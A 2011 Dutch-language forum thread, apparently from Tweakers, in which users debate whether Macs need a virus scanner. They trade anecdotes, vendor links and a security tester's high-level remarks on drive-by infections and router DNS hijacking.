Virus Scanner voor Mac

[Verwijderd]

Verwijderd schreef op woensdag 06 april 2011 @ 00:04:
[...]

Onzin, Panda Security ziet 500 nieuwe unieke virussen voor OS X per maand voorbij komen. Dit is altijd nog een schraal contrast van de hoeveelheid Windows virussen maar het toont iig aan dat er een trend is.

@ Kamose, wie A zegt moet ook B zeggen, dus graag een link naar die 500 unieke virussen per maand.

[Verwijderd]

filenox schreef op zaterdag 09 april 2011 @ 11:19:
[...]


Heb je een linkje van die '500 unieke virussen'-bewering van Panda?

Zelf gebruik ik geen antivirussoftware op m'n Mac. Er zullen zeker wel virussen ronddwalen op het internet maar hoe groot is de kans dat je op zo'n duistere sites komt met je Mac? Inderdaad ja best klein.

Als je op veilige/normale websites blijft is er geen enkel probleem.

http://press.pandasecurity.com/usa/news/panda-security-launches-panda-antivirus-for-mac/.

Het is tegenwoordig populair om virussen te verspreiden via add-providers en hidden iframes op gehackte ftp server. Hierdoor is in principe elke site een gevaar, en niet alleen de 'duistere' sites.

Edit: Ik had laatst nog een mooi linkje met een overzicht van de laatste trends e.d. Ik zal die nog even zoeken.

[ Voor 6% gewijzigd door Verwijderd op 09-04-2011 11:53 ]

[Verwijderd]

@Kamose http://forums.macrumors.c...php?p=9400648&postcount=4

[Roytoch]

Verwijderd schreef op zaterdag 09 april 2011 @ 11:50:
[...]

http://press.pandasecurity.com/usa/news/panda-security-launches-panda-antivirus-for-mac/.

Het is tegenwoordig populair om virussen te verspreiden via add-providers en hidden iframes op gehackte ftp server. Hierdoor is in principe elke site een gevaar, en niet alleen de 'duistere' sites.

Edit: Ik had laatst nog een mooi linkje met een overzicht van de laatste trends e.d. Ik zal die nog even zoeken.

Zijn er eigenlijk ook meer onafhankelijke onderzoeken die dit aantal in ieder geval deels bevestigen? Ik bedoel, ik geloof best dat er virussen/trojans/whatever zijn, zie ook die iworks09 infectie inderdaad van een tijdje terug, maar ik heb zelf het idee dat osx virussen veel minder voorkomen in de zin van lagere infectiegraden en minder serieuze dreiging.

Om heel eerlijk te zijn heb ik wat moeite met het lezen van een artikel waarin zowel wordt geroepen dat de dreiging toch echt wel groot is, als dat er een oplossing is in het nieuwe virusprogramma dat je HIER kan kopen.

[filenox]

Verwijderd schreef op zaterdag 09 april 2011 @ 11:50:
[...]
Het is tegenwoordig populair om virussen te verspreiden via add-providers en hidden iframes op gehackte ftp server. Hierdoor is in principe elke site een gevaar, en niet alleen de 'duistere' sites.

Edit: Ik had laatst nog een mooi linkje met een overzicht van de laatste trends e.d. Ik zal die nog even zoeken.

Betrouwbare websites gebruiken betrouwbare add-providers.
Betrouwbare websites zijn meestal goed beveiligd en worden niet snel gehacked.

Endan nog, als er zoveel virussen op het net voor OSX zijn komen we er nog allemaal goed vanaf
Ik ken geen mensen die dankzij 'een vage fout' hun gegevens zijn kwijtgeraakt of OSX moesten herinstalleren

[ Voor 15% gewijzigd door filenox op 09-04-2011 12:15 ]

[Verwijderd]

roy.ahuis schreef op zaterdag 09 april 2011 @ 12:06:
[...]

Zijn er eigenlijk ook meer onafhankelijke onderzoeken die dit aantal in ieder geval deels bevestigen? Ik bedoel, ik geloof best dat er virussen/trojans/whatever zijn, zie ook die iworks09 infectie inderdaad van een tijdje terug, maar ik heb zelf het idee dat osx virussen veel minder voorkomen in de zin van lagere infectiegraden en minder serieuze dreiging.

Om heel eerlijk te zijn heb ik wat moeite met het lezen van een artikel waarin zowel wordt geroepen dat de dreiging toch echt wel groot is, als dat er een oplossing is in het nieuwe virusprogramma dat je HIER kan kopen.

Dat snap ik, daarom zoek ik het andere linkje ook nog even.

Verwijderd schreef op zaterdag 09 april 2011 @ 12:06:
@Kamose http://forums.macrumors.c...php?p=9400648&postcount=4

Dat artikel staat echt vol met onwaarheden.

filenox schreef op zaterdag 09 april 2011 @ 12:14:
[...]


Betrouwbare websites gebruiken betrouwbare add-providers.
Betrouwbare websites zijn meestal goed beveiligd en worden niet snel gehacked.

Endan nog, als er zoveel virussen op het net voor OSX zijn komen we er nog allemaal goed vanaf
Ik ken geen mensen die dankzij 'een vage fout' hun gegevens zijn kwijtgeraakt of OSX moesten herinstalleren

Er zijn weinig betrouwbare ad-providers. Als ik ergens een flash file kan uploaden bij een ad-provider, kan ik hier ook mijn flash 0day in stoppen. Hoe goed sites beveiligd zijn maakt meestal niet uit. De PC's van de developers, daar gaat het meestal om. Een virus wacht gewoon tot iemand inlogt op een ftp server om zo achter de credentials te komen. Daar tegen beveiligen is erg lastig.

Ik wil hier helemaal niet pretenderen dat virussen momenteel een erg groot gevaar vormen voor OS X. Ik zeg alleen dat er een trend is, en dat deze door de populariteit van Apple alleen maar zal groeien. Het idee van "Ik heb een Mac dus ik ben veilig" is niet waar. Of je de kans al groot genoeg vind om hier nu al actie voor de ondernemen moet je zelf weten.

Ik ben security tester voor bedrijven (ik breek in bij bedrijven om hun te vertellen wat er lek is). Ik word er altijd wel gelukkig van als ik mensen dan met Mac's rond zie lopen. Dat zijn meestal de mensen die PDF'jes of linkjes in een email zonder pardoes aanklikken en geen virusscanner hebben. De meeste mensen zeggen wel dat ze geen rare mailtjes openen. Maar als ze een persoonlijk mailtje ontvangen met een PDFje erin dan opent toch bijna iedereen die.

[ Voor 4% gewijzigd door Verwijderd op 09-04-2011 12:38 ]

[Verwijderd]

@Kamose Vind je de link naar de Panda website onafhankelijk?, ik niet namelijk.
Het is volgens mij meer een verkooppraatje van Panda om hun anti-virus software te promoten/verkopen.
Er word ook nergens onderbouwd om welke 500 unieke virussen per maand het gaat.
Zou je ook een reactie geven op mijn eerdere link, aangezien je een expert bent op security:
http://forums.macrumors.c...php?p=9400648&postcount=4

[Roytoch]

@Kamose: wel interessant om te lezen, van iemand die ook daadwerkelijk in het veld staat, hoe je ertegenaan kijkt. Ik ben ook benieuwd naar dat meer onafhankelijke linkje inderdaad.

In mijn mening trouwens is het heel simpel: ik demp de put wel als het kalf verdronken is. Noem me roekeloos, maar ik zie het als volgt: mijn macbook wordt deels voor werk, deels voor persoonlijk gebruikt. In mijn windows tijd ben ik wel eens met een virus besmet geweest, en dan gooide ik er een format overheen, opnieuw installeren en weer een paar maanden gaan met die banaan. Backups van belangrijke data heb ik wel, die zet ik gewoon terug. Daarbij ga ik er, weer roekeloos maar toch, vanuit dat als ik een virus pak, of trojan, deze er vooral op gericht is mijn install te vernaggelen en niet om via een backdoor mijn bestanden te 'stelen'.

Iedereen die serieus bezig is met beveiliging en dergelijke gaat me nu een aap noemen, en terecht ook maar op deze manier werkt het nou eenmaal voor een heel groot deel van de computergebruikers.

En laten we wel zijn, in die 2 jaar dat ik nu op osx werk heb ik nog geen last gehad van rare dingen, terwijl het op mijn windows pc veel vaker raak was (en nog steeds wel is, het is een gamebakkie geworden). Laat mij eerst maar eens op harde wijze ondervinden dat er inderdaad serieuze dreiging is voor virussen en trojans, dan ga ik daarna wel kijken naar bescherming. Beetje hetzelfde als opeens durex kopen als je vrouw 5 maanden zwanger is, ik weet het, maar een re-install is minder erg dan een kind

[Verwijderd]

Verwijderd schreef op zaterdag 09 april 2011 @ 12:40:
@Kamose Vind je de link naar de Panda website onafhankelijk?, ik niet namelijk.
Het is volgens mij meer een verkooppraatje van Panda om hun anti-virus software te promoten/verkopen.
Er word ook nergens onderbouwd om welke 500 unieke virussen per maand het gaat.
Zou je ook een reactie geven op mijn eerdere link, aangezien je een expert bent op security:
http://forums.macrumors.c...php?p=9400648&postcount=4

Nee ik vind het absoluut niet onafhankelijk, daarom zoek ik ook nog even een betere bron.

Een reactie op het artikel van MacRumors:

Another type of hoax is referred to as scareware. It's a bogus virus warning that pops up when visiting some websites, and looks something like this. If you take a close look, you'll see the popup refers to a Windows system, which obviously doesn't relate to Mac OS X. It can't harm your Mac at all. Just close the site, clear your browser's cache and cookies, and you'll be fine.

Niet helemaal waar. Ja de meeste van die sites zullen zich op Windows richten, maar het is niet waar dat ze compleet onschadelijk zijn voor de Mac. In principe zit je gewoon op een site met troep, die kan net zo gemakkelijk OS X aanvallen met behulp van een Flash/browser of PDF exploit.

Some users experience a problem with being directed automatically to sites that they didn't intend to visit. This may also occur when searching with Google. You don't have a virus! It's a problem with your DNS settings, either in your Mac or in your router.

Je kunt een DNS probleem hebben, de vraag is dan hoe dat probleem komt. Naast het hacken van computers is ook het hacken van routers tegenwoordig best populair (meeste mensen hebben een default password). Je lokt een bezoeker naar een site en vervolgens probeer je mbv Ajax request in te loggen op de router en past de DNS settings aan. Heel handig natuurlijk als je er voor kunt zorgen dat paypal.com onderwater naar evil.ru verwijst.

There are NO viruses in the wild that affect current Mac OS X (Leopard and Snow Leopard), at this time.

Jawel, die gebruik ik in mijn dagelijkse werk namelijk ook (maar die zijn wel zelf geschreven).

Having virus protection software on your Mac is pointless, as far as protecting your Mac from viruses, since current antivirus software cannot detect a Mac virus that doesn't yet exist, because they simply don't know what to look for.

Virusscanners kunnen veel meer dan alleen maar op bestaande virussen scannen. Ze kijken ook naar verdachte activiteiten. Processen die opeens allerlei systeembestanden opvragen en dergelijke. Sommige dingen detecteren ze dus wel degelijk, ookal hebben ze er geen signature voor.

[Verwijderd]

2 filmpjes van Sophos Labs met real-world scenarios op een mac

http://youtu.be/RTeSYmQS820

http://youtu.be/stAELsnHa7U

En zo zijn er nog enkele virussen voor mac maar die filmpjes kon ik zo snel niet vinden.

[Verwijderd]

@defeated
Om eerlijk te zijn,trojan's zijn geen virussen. Trojan's installeer je zelf, en geeft daar dan zelf je administrator password.
Gezond verstand gebruiken dus..

[Verwijderd]

Trojans, virussen, malware, spyware.....details details.
Het gaat erom dat er schadelijke software voor je Mac bestaat, hoeveel moeite je daarvoor moet doen om het in werking te stellen is van geen belang.

En juist mensen met een Mac zijn over het algemeen nog onvoorzichtiger omdat ze zich immuun voelen voor zulke software. En dat zijn de mensen die hun gezond verstand niet gebruiken of simpelweg geen kennis van computers hebben en er dus met open ogen intrappen. Deze mensen hebben niet zozeer geen gezond verstand maar gebruiken die voor in hun ogen meer nuttige dingen als een computer die gewoon moet werken.

[Verwijderd]

Opzich interessant topic, vooral de quotes "draait zonder problemen" en nog meer in dat rijtje. Ik ben dan dus vooral benieuwd: Wie heeft er dan werkelijk een virus gehad op zijn Mac? En zou je ook willen delen hoe je er aan kwam?

[johnkeates]

Op diverse kunstacademies lopen c.a. 10.000 mensen rond met Apple hard- en software, en geen een heeft een virus of trojan. Bij diverse APR's en AASP's komen dagelijks honderden computers binnen, allemaal virus/malware vrij. Dus misschien zijn er wel virussen, maar zijn ze te moeilijk om te installeren. Of misschien zijn ze er wel, maar gewoon niet op plekken waar de nederlandse mac gebruiker ze zal vinden.

De laatste 15 jaar heb ik geen virus gezien, ik weet dat ze er zijn, maar ik ben er nog nooit een tegen gekomen. Zelfs op zoek gegaan naar de iWork 09 DMG waar een trojan in zou zitten, maar de torrent sites hadden em al down gehaald en op usenet was ie ook niet meer te vinden.

Misschien dat het een 'grote dreiging' is, maar met een dreiging kom je nergens als er niks gebeurt. Wat ik wel tegen kom is de dataminer van Conduit, maar die zie je dan ook alleen bij Firefox gebruikers op Mac OS X die van de PC wereld komen. Een enkele gebruiker hand een "Vioh Web Video Player" geinstalleerd dat een hoax bleek te zijn, het startte niet eens hoewel in een strings bestand wel waarschuwingen in meerdere talen te vinden waren.

Met andere woorden: als er virussen zijn, en het echt allemaal zo erg is, waarom zien we dan nergens infecties?!

[Roytoch]

johnkeates schreef op zaterdag 09 april 2011 @ 14:47:
Met andere woorden: als er virussen zijn, en het echt allemaal zo erg is, waarom zien we dan nergens infecties?!

Nouja, daarom dus mijn fantastisch werkende 'we zien wel, als het stuk gaat doe ik wel reinstall' mentaliteit. Ik ga me niet actief verweren tegen iets wat in mijn idee nauwelijks voorkomt. Volgens mij is de kans dat mijn data in verkeerde handen valt veel groter door mensen die aan proletarisch winkelen doen, dan door een virus/trojan.

[Verwijderd]

Kan die stomme link nergens vinden .

Ik vind het altijd knap als mensen kunnen zeggen 'ik ben nooit geïnfecteerd geweest'. Virussen zijn al lang niet meer zoals vroeger. Vroeger was het vooral nog gaaf om te kunnen laten zien dat je het kon. Tegenwoordig is het gewoon een inkomstenbron voor veel criminele organisaties (vooral uit het Oostblok). Die hebben er helemaal geen baat bij dat jij weet dat je een virus hebt. Die virussen blijven liever rustig op de achtergrond slapen en registreren stilletjes creditcard gegevens e.d. Je zult het dus lang niet altijd merken als je geïnfecteerd bent.

[Trunksmd]

Verwijderd schreef op zaterdag 09 april 2011 @ 16:25:
Kan die stomme link nergens vinden .

Ik vind het altijd knap als mensen kunnen zeggen 'ik ben nooit geïnfecteerd geweest'. Virussen zijn al lang niet meer zoals vroeger. Vroeger was het vooral nog gaaf om te kunnen laten zien dat je het kon. Tegenwoordig is het gewoon een inkomstenbron voor veel criminele organisaties (vooral uit het Oostblok). Die hebben er helemaal geen baat bij dat jij weet dat je een virus hebt. Die virussen blijven liever rustig op de achtergrond slapen en registreren stilletjes creditcard gegevens e.d. Je zult het dus lang niet altijd merken als je geïnfecteerd bent.

Als we het over dit soort virussen hebben: Dan vraag ik mij überhaupt af of de huis- tuin en keukenscanners voor de Mac dit kunnen ontdekken. Degenen die zo slim zijn, zijn in de regel ook in staat om je AV scanner om de tuin te leiden.

[Verwijderd]

Daar is anvtivirus software juist voor bedoelt. Je kunt niet alle virusscanners in 1 keer om te tuin leiden, daar wordt je footprint alleen maar groter van. Verder is dat vaak ook niet de bedoeling, dat ontwikkelen kost alleen maar meer tijd. Er zijn genoeg mensen die geen virusscanner hebben (of niet updaten), hun aanvallen is veel gemakkelijker.

[Verwijderd]

Zet gewoon Sophos voor Mac Home Edtion op je mac, dan ben je klaar! Erg goede anti-virus en weinig poespas!

[The Great HooD]

Verwijderd schreef op zondag 10 april 2011 @ 11:25:
Daar is anvtivirus software juist voor bedoelt. Je kunt niet alle virusscanners in 1 keer om te tuin leiden, daar wordt je footprint alleen maar groter van. Verder is dat vaak ook niet de bedoeling, dat ontwikkelen kost alleen maar meer tijd. Er zijn genoeg mensen die geen virusscanner hebben (of niet updaten), hun aanvallen is veel gemakkelijker.

Heb je aandelen in Sophos ofzo, je blijft het maar promoten of het van levensbelang is.

Op mijn Windows PC nooit een virusscanner gehad, werd hij alleen maar traag en langzaam van. Wel S&D maar geen specifieke virusscan. Op de Mac gebruik ik dus ook zeker geen virusscan. Heb het 1x geprobeerd maar gaf alleen maar irritaties met vastlopers en trage computers. Nee virusscan is voor mij niet nodig, je weet namelijk heus wel wanneer je iets verkeerd download of niet...

[Richard_AFC]

The Great HooD schreef op zondag 10 april 2011 @ 12:43:
[...]

Heb je aandelen in Sophos ofzo, je blijft het maar promoten of het van levensbelang is.

Op mijn Windows PC nooit een virusscanner gehad, werd hij alleen maar traag en langzaam van. Wel S&D maar geen specifieke virusscan. Op de Mac gebruik ik dus ook zeker geen virusscan. Heb het 1x geprobeerd maar gaf alleen maar irritaties met vastlopers en trage computers. Nee virusscan is voor mij niet nodig, je weet namelijk heus wel wanneer je iets verkeerd download of niet...

+1

[Taurnil]

lit eraan wat je doet met je mac, maar heb 1,5 jaar lang geen anti virus gehad, dan maar eens ff voor de fun een erop gezet (kasperskpy) en binnen 1,5 jaar 1 virusje gevonden op full scan why een anti virus op je mac? (goed ereden voor wel zijn er ook) maar toont toch wat aan na 1,5 jaar

anders raad ik kaspersky aan, beste ervaring mee, lekker light prima interface op mac, wel beetje iri waren de geluiden als die eens wat verdachts tegen kwam of zo, vroeg me altijd af wat het was, want een melding liet die niet zien

[Verwijderd]

Nu vergeten we voor het gemak trouwens ook even allemaal dat wij 'tweakers' zijn en dus een stuk beter opletten op wat wij binnenhalen en wat de bron is (al zitten er mensen tussen....).

Maar zo ben ik laatst nog bij een bedrijf geweest wat enkel op Mac werkt maar waar echt iedere medewerker gewoon 0.0 van computers weet en die dus wel een echt probleem hadden met virussen voor de mac.
Dat zijn de mensen die naar iedere werknemer nog een mailtje sturen: ''pas op voor $mailtje daar zit een virus in!!1!1!!''
En dat zijn uit eindelijk ook de mensen voor wie een virus geschreven wordt, die installeren toch wel alles en als het niet werk na installatie denken ze daar geen 2 keer bij na maar gaan gewoon verder met werken.

[Darkstar]

The Great HooD schreef op zondag 10 april 2011 @ 12:43:
[...]

Heb je aandelen in Sophos ofzo, je blijft het maar promoten of het van levensbelang is.

*knip*

Nee, Kamose is duidelijk iemand die weet waarover hij spreekt. Ik ben zelf ook nogal bezig met IT Security, en geloof me, het is echt geen onzin wat hij hier zit te vertellen. En hij spreekt trouwens over virusscanners in het algemeen, dus vanwaar jij haalt dat 'ie andelen bij Sophos heeft snap ik al helemaal niet.

Iedereen doet wat hij denkt dat 'ie moet doen, maar halve waarheden als 'er bestaan geen virussen of malware voor Mac' is gewoon onzin en hoor je niet rond te strooien tenzij je écht weet waar je het over hebt.

[Verwijderd]

The Great HooD schreef op zondag 10 april 2011 @ 12:43:
[...]

Heb je aandelen in Sophos ofzo, je blijft het maar promoten of het van levensbelang is.

Op mijn Windows PC nooit een virusscanner gehad, werd hij alleen maar traag en langzaam van. Wel S&D maar geen specifieke virusscan. Op de Mac gebruik ik dus ook zeker geen virusscan. Heb het 1x geprobeerd maar gaf alleen maar irritaties met vastlopers en trage computers. Nee virusscan is voor mij niet nodig, je weet namelijk heus wel wanneer je iets verkeerd download of niet...

Volgens mij heb ik nergens gepretendeerd dat het van levensbelang is, iig was dat niet mijn doelstelling. Dat kan ik namelijk ook helemaal niet voor andere bepalen

Ik zal mijn invalshoek proberen wat duidelijker toe te lichten.

Security is altijd een afweging van risico, impact, usability en tijd/geld. Meer security gaat ten kosten van usability en tijd. Daarom maak je altijd een risico analyse van een bepaalde bedreiging (in dit geval een virus) en welke impact dit heeft. Een bank maakt hier hele andere beslissingen over dan een transport bedrijf of dan een thuisgebruiker. Een goede risico analyse kun je echter alleen maar maken als je kennis hebt van de risico's en de impact. Dat probeer ik hier mensen duidelijk te maken.

Het risico zijn we het allemaal volgens mij wel over eens en is voor de Mac momenteel nog zeer klein. De impact is naar mijn idee echter groot. Virussen zijn tegenwoordig een grote inkomstenbron en credit card fraude en identiteit diefstal komen steeds meer voor. Vooral dat laatste is iets waar je jaren lang zoet mee bent als jou dit overkomt.

Hoe een ieder hier zijn risico en impact inschat moet diegene zelf weten. Ik wil alleen maar zeggen dat het echt onzin is dat een vertrouwde site geen virus kan verspreiden, en dat je het altijd merkt dat je een virus hebt opgelopen. Die twee beweringen zijn gewoon niet waar. Dit zijn twee illusies waar ik veelvoudig misbruik van maak in mijn werkveld.

Ik schat het risico op een virusinfectie op mijn Mac laag in, maar de eventuele impact juist weer erg hoog. Daarom heb ik o.a. een virusscanner. De kans dat mijn hardeschijf stuk gaat schat ik ook laag in (ik heb nog nooit een kapotte HD gehad in mijn IT carrière), maar omdat de impact wel groot is zorg ik ervoor dat er elk uur automatisch een backup gemaakt wordt.

Hoe jullie deze inschatting maken laat ik echt volledig aan jullie over. Zorg er dus alleen wel voor dat je een weloverwogen keuze kunt maken en dat je dus goed op de hoogte bent van hoe virussen tegenwoordig opereren.

[magnifor]

The Great HooD schreef op zondag 10 april 2011 @ 12:43:
[...]

Heb je aandelen in Sophos ofzo, je blijft het maar promoten of het van levensbelang is.

Op mijn Windows PC nooit een virusscanner gehad, werd hij alleen maar traag en langzaam van. Wel S&D maar geen specifieke virusscan. Op de Mac gebruik ik dus ook zeker geen virusscan. Heb het 1x geprobeerd maar gaf alleen maar irritaties met vastlopers en trage computers. Nee virusscan is voor mij niet nodig, je weet namelijk heus wel wanneer je iets verkeerd download of niet...

Een virus hoeft niet perse via een verkeerde download binnen te komen hoor? Kan net zo goed via het netwerk, flash exploit, browser exploit, pdf exploit en 1001 andere manieren.

Ikzelf gebruik ook Sophos op de Mac om de volgende redenen:

1. Het is zeer licht, werkt niet vertragend en je merkt er verder niets van. Dus waarom zou ik het niet installeren?

2. Het is stom om te denken dat je als je een niet-windows machine hebt dat je dan automatisch niet vatbaar bent voor virussen. Je hebt op je Windows PC nooit een virusscanner gehad, hoe weet je dan zo zeker dat je nooit een virus hebt gehad? Want je krijgt immers geen meldingen. Sommigen zijn heel makkelijk te herkennen maar de betere virussen verbergen zich dmv een rootkit. Noway dat je dat op het blote oog kan zien.

[The Great HooD]

Darkstar schreef op zondag 10 april 2011 @ 19:23:
[...]


Nee, Kamose is duidelijk iemand die weet waarover hij spreekt. Ik ben zelf ook nogal bezig met IT Security, en geloof me, het is echt geen onzin wat hij hier zit te vertellen. En hij spreekt trouwens over virusscanners in het algemeen, dus vanwaar jij haalt dat 'ie andelen bij Sophos heeft snap ik al helemaal niet.

Iedereen doet wat hij denkt dat 'ie moet doen, maar halve waarheden als 'er bestaan geen virussen of malware voor Mac' is gewoon onzin en hoor je niet rond te strooien tenzij je écht weet waar je het over hebt.

Het was gewoon een willekeurig gekozen viruscanner voor de Mac

Ik zeg ook niet dat er geen virussen zijn, die zijn er wel degelijk. Maar zoals ik al aangaf, zelfs op mijn Windows bak zette ik nooit een virusscanner, ik heb het helemaal niet nodig, met mij vele anderen.

Verwijderd schreef op zondag 10 april 2011 @ 19:42:
[...]

Volgens mij heb ik nergens gepretendeerd dat het van levensbelang is, iig was dat niet mijn doelstelling. Dat kan ik namelijk ook helemaal niet voor andere bepalen

Ik zal mijn invalshoek proberen wat duidelijker toe te lichten.

Security is altijd een afweging van risico, impact, usability en tijd/geld. Meer security gaat ten kosten van usability en tijd. Daarom maak je altijd een risico analyse van een bepaalde bedreiging (in dit geval een virus) en welke impact dit heeft. Een bank maakt hier hele andere beslissingen over dan een transport bedrijf of dan een thuisgebruiker. Een goede risico analyse kun je echter alleen maar maken als je kennis hebt van de risico's en de impact. Dat probeer ik hier mensen duidelijk te maken.

Het risico zijn we het allemaal volgens mij wel over eens en is voor de Mac momenteel nog zeer klein. De impact is naar mijn idee echter groot. Virussen zijn tegenwoordig een grote inkomstenbron en credit card fraude en identiteit diefstal komen steeds meer voor. Vooral dat laatste is iets waar je jaren lang zoet mee bent als jou dit overkomt.

Hoe een ieder hier zijn risico en impact inschat moet diegene zelf weten. Ik wil alleen maar zeggen dat het echt onzin is dat een vertrouwde site geen virus kan verspreiden, en dat je het altijd merkt dat je een virus hebt opgelopen. Die twee beweringen zijn gewoon niet waar. Dit zijn twee illusies waar ik veelvoudig misbruik van maak in mijn werkveld.

Ik schat het risico op een virusinfectie op mijn Mac laag in, maar de eventuele impact juist weer erg hoog. Daarom heb ik o.a. een virusscanner. De kans dat mijn hardeschijf stuk gaat schat ik ook laag in (ik heb nog nooit een kapotte HD gehad in mijn IT carrière), maar omdat de impact wel groot is zorg ik ervoor dat er elk uur automatisch een backup gemaakt wordt.

Hoe jullie deze inschatting maken laat ik echt volledig aan jullie over. Zorg er dus alleen wel voor dat je een weloverwogen keuze kunt maken en dat je dus goed op de hoogte bent van hoe virussen tegenwoordig opereren.

Ben ik helemaal met je eens. Maar zoals ik al aangaf, ikzelf heb totaal geen last van virussen gehad, als ik in mijn leven, en jij nog nooit een kapotte HD (me neither ). Over dat identiteitsfraude en CC. Ja nog nooit gehad, maar een CC is sowieso al gevaarlijk, ook als die uit je tas gestolen wordt. Je hebt dus altijd risico's. Je kan dit verkleinen met een virusscan, maar daar moet je zelf je afweging in maken. Ik heb geen behoefte aan een virusscan.

Ik zal eens voor de gein eens kijken of ik een virus heb.

magnifor schreef op zondag 10 april 2011 @ 21:26:
[...]


Een virus hoeft niet perse via een verkeerde download binnen te komen hoor? Kan net zo goed via het netwerk, flash exploit, browser exploit, pdf exploit en 1001 andere manieren.

Ikzelf gebruik ook Sophos op de Mac om de volgende redenen:

1. Het is zeer licht, werkt niet vertragend en je merkt er verder niets van. Dus waarom zou ik het niet installeren?

2. Het is stom om te denken dat je als je een niet-windows machine hebt dat je dan automatisch niet vatbaar bent voor virussen. Je hebt op je Windows PC nooit een virusscanner gehad, hoe weet je dan zo zeker dat je nooit een virus hebt gehad? Want je krijgt immers geen meldingen. Sommigen zijn heel makkelijk te herkennen maar de betere virussen verbergen zich dmv een rootkit. Noway dat je dat op het blote oog kan zien.

Ja, maar op de een of andere manier krijg ik ze toch niet binnen, rara hoe komt dat?

1. Afweging die je maakt, zoals ik hierboven al aangaf, ik zal eens voor de gein Sophos installeren.

2. Ik heb op mijn Windows pc op aanraden, virussen waren oh zo dichtbij, een virusscan geinstalleerd. Scan, weggehaald en na een aantal maanden herhaalde dit zich weer. Adware en trojans had ik Search and Destroy voor.

[Underworld]

Na helaas het topic niet bij gehouden te hebben, en alle reacties te hebben gelezen, vind ik het nog altijd grote onzin om spyware als een virusscanner op je mac te zetten.
Ik ben samen met nog wat andere mensen hier erg benieuwd wie dan wel niet wel eens een virus/trojan/whatever heeft gehad op de mac waardoor het systeem corrupt is geraakt en een nieuwe instal moest worden gedaan. Ik geloof het gewoon weg niet...
Als die gene er is waar dan ook, neem ik antivirus voor de mac pas serieuzer. tot die tijd zijn bedrijven als Panda/Intego/Sophos/Avira gewoon weg commerciële promotie praatjes die zelf bijwijze van namen noemen om hun product te kunnen verkopen (marketing). Ik studeer marketing communicatie, en al die websites nijgen naar commercie, kijk eens goed naar we website van Avira & Sophos bijvoorbeeld... 25% off etcetera. Sophos: Free trials!

Ik durf hier makkelijk te zeggen: Virussen voor de Mac zijn er gewoon weg niet, dan wel niet interessant. Je hebt het gewoon weg zelf in de hand wanneer je je passw geeft bij installaties. Ik ken via mijn opleiding verschrikkelijk veel mensen die een Mac gebruiken en heb er nog nooit iemand over gehoord dat zijn of haar mac niet goed meer functioneert na het installeren van een programma. Wie wel?

Daarnaast zolang je de beveiligingsupdates download ben je veilig en zal je niets gebeuren.
Het is geen windows waar we over praten he... Ik had daar om de haverklap spyware, virussen die allerlei bestanden kopieerde zonder dat ik er toestemming voor gaf plus een traag systeem door alle zooi van het internet..

Edit:

Nu net trouwens die filmpjes bekeken (hilarische marketing weer..)
want hij installeert niet eens het bestand!... Laat dan zien wat het doet denk ik dan! Bron: Sophos

Well let's think here, who would profit from it the most? That's the best motive for anybody to do anything. Without malware these independent security software developers would be out of a job. That's right, the very same people who provide AV solutions are in fact writing the very malware they then protect you from.

Oh deze is ook zo verschrikkelijk (hilarisch)... Ze noemen me nu zelfs dom als ik geen Sophos download!

Nog eentje waardoor ik "(Anti)Spyware.programma's.Trojan.for.Mac.dmg" zwaar wantrouw...

The malicious software connects to a remote server over the Internet; this means that a malicious user will be alerted that this Trojan horse is installed on different Macs, and will have the ability to connect to them and perform various actions remotely. The Trojan horse may also download additional components to an infected Mac.

Oee sounds scarry! En dan? wat willen ze doen, alsof je het niet door hebt dat iemand op je mac bezig is als jij online bent... Bron: intego
Again... een Antivirus bedrijf...

Iemand die bronnen heeft van hackers of iets die een wat objectievere blik hierover kunnen geven? Want antivirus bedrijven neem ik toch echt niet serieus...

"Don't be a dumbo, and protect your mac just like you protect a windows computer"


Straks gaan mensen nog denken dat Sinterklaas echt bestaat omdat hij Twittert...

[ Voor 43% gewijzigd door Underworld op 11-04-2011 04:42 ]

[Roman]

Ik heb eens van pagina's opgezocht waar interessante info staat over schadelijke software voor de mac.

Sophos: http://nakedsecurity.sophos.com/category/apple/

iThreats: http://www.ithreats.info/ met haar blog: http://ithreats.net/

McAffe jaar prognose voor 2011: www.mcafee.com/us/resourc...reat-predictions-2011.pdf

MacOSX labs: http://macosxlabs.org/201...ng-more-security-threats/

En dan nog een history van mac virussen: http://nakedsecurity.soph...ac-malware-short-history/

[Darkstar]

Underworld schreef op maandag 11 april 2011 @ 03:39:
Oee sounds scarry! En dan? wat willen ze doen, alsof je het niet door hebt dat iemand op je mac bezig is als jij online bent... Bron: intego
Again... een Antivirus bedrijf...

Euhm, je gaat het echt niet merken als iemand een remote connection opzet naar je Mac, hoe zou je dat willen zien (buiten monitoring en logging te bekijken)? Het is niet alsof iemand via VNC / Remote Desktop je systeem overneemt hè, dat zou nogal obvious zijn...

Vanuit een marketing standpunt heb je wel een punt, maar je reageert wel erg laconiek op threats waarvan al lang bewezen is dat ze bestaan. Dat je ze niet of zelden tegenkomt is een feit, maar dat was 20 jaar geleden op Windows systemen ook zo.

[Verwijderd]

Verwijderd schreef op zaterdag 09 april 2011 @ 13:00:
here are NO viruses in the wild that affect current Mac OS X (Leopard and Snow Leopard), at this time.
[…]
Jawel, die gebruik ik in mijn dagelijkse werk namelijk ook (maar die zijn wel zelf geschreven).

Antwoord is dus nee: "in the wild".

Virussen voor OSX bestaan niet, punt. Alleen proof of concepts, de rest is malware/scareware/trojans.
Loop anders eens door de wildlist, je komt er geen 1 tegen in 10 jaar tijd.

Punt is dat het OS iets anders in elkaar zit dan bijvoorbeeld Windows, waardoor toegang krijgen tot je volledige filesysteem een ander verhaal word. Het heeft ook niets te maken met wel of niet populariteit van OSX, OSX is namelijk populair. Het marktaandeel MB/MBA is behoorlijk te noemen.

Dat je op je hoede bent ala, de rest is bangmakerij.

[Underworld]

Darkstar schreef op maandag 11 april 2011 @ 09:38:
[...]


Euhm, je gaat het echt niet merken als iemand een remote connection opzet naar je Mac, hoe zou je dat willen zien (buiten monitoring en logging te bekijken)? Het is niet alsof iemand via VNC / Remote Desktop je systeem overneemt hè, dat zou nogal obvious zijn...

Vanuit een marketing standpunt heb je wel een punt, maar je reageert wel erg laconiek op threats waarvan al lang bewezen is dat ze bestaan. Dat je ze niet of zelden tegenkomt is een feit, maar dat was 20 jaar geleden op Windows systemen ook zo.

Oh hoezo zouden ze dat niet doen? Er staat nergens dat ze het niet op die manier doen namelijk.
Ja alleen windows is een totaal ander platform en zat destijds al vol met gaten en een register wat makkelijk aangepast kon worden.

Kijk ook eens naar de comments van Sophos onder de filmpjes, van Verwijderd in "Virus Scanner voor Mac" ze zijn wel heel erg bezig om zichzelf te verdedigen etcetera.

